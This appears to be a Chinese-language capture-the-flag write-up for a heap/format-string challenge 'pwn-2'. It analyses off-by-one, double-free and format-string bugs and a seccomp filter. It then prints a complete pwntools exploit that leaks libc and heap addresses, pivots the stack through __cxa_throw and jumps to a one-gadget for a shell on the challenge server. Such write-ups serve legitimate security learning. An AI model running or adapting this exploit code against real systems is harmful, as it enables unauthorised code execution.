程序分析
- offset-by-one
-
double free
- BackDoor函数
prctl的作用:
struct sock_fprog /* Required for SO_ATTACH_FILTER. */
{
unsigned short len; /* Number of filter blocks */
struct sock_filter *filter;
};
struct sock_filter /* Filter block */
{
__u16 code; /* Actual filter code */
__u8 jt; /* Jump true */
__u8 jf; /* Jump false */
__u32 k; /* Generic multiuse field */
};
用IDA把sock_filter的数据导出来,然后用seccomp-tools去解析
最后发现prctl其实就是只允许write与execve的函数调用,对getshell没影响
- 格式化字符串
思路
先找libc
直接去double发现报错了,如果是Tcache则不会报错,因此确定不是2.27的libc,只能是2.23的
再利用格式化字符串确定libc是2.23的,和lgtwo的libc一样
__cxa_throw()
这个函数我没看源码,直接动态调试发现,函数本身有一个栈溢出,可以控制保存的rbp值为X
进入__cax_throw之后只要X对于0x10对齐,那么就会有rbp=X,然后leave; ret,因此只要让X+8处为ROP即可
EXP
#! /usr/bin/python
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
#sh = process('./pwn-2')
elf = ELF('./pwn-2')
libc = ELF('./libc.so.6')
sh = remote('123.56.52.128', 10012)
#proc_base = sh.libs()[sh.cwd + sh.argv[0].strip('.')]
def Log(val):
log.success('%s = %s'%(str(val), hex(eval(val))))
def Cmd(i):
sh.sendlineafter('CHOICE :', str(i))
def ShowName():
Cmd(1)
def New(cont):
Cmd(2)
sh.recvuntil('cnt:')
sh.send(cont)
#sh.recvuntil('well! ')
def Delete(idx):
Cmd(3)
sh.sendlineafter('idx:', str(idx))
def Show():
Cmd(4)
def BackDoor(cont):
Cmd(23333)
sh.recvuntil('INPUT:')
sh.send(cont)
#leak libc addr
sh.recvuntil('NAME: ')
sh.send('%11$p')
ShowName()
sh.recvuntil('INFO:')
libc.address = int(sh.recvline(), 16) - 0x20840
Log('libc.address')
#ROP
ones = [0x45226, 0x4527a, 0xf0364, 0xf1207]
OGG = libc.address + ones[0]
exp = p64(0)*3
exp+= p64(OGG)
#leak heap addr
New(exp.ljust(0x61, '\x00'))
New('\x00'*0x61)
Delete(0)
Delete(1) #Fastbin->C1->C0
Show()
sh.recvuntil('idx 2:')
heap_addr = u64(sh.recv(6).ljust(8, '\x00')) - 0x11C10
Log('heap_addr')
#begin ROP
#gdb.attach(sh, 'break *0x55555555531c')
BackDoor('A'*0x20+p64(heap_addr + 0x11C30)) #rbp, align to 0x10
sh.interactive()
'''
ShowName::printf 0x11A0
'''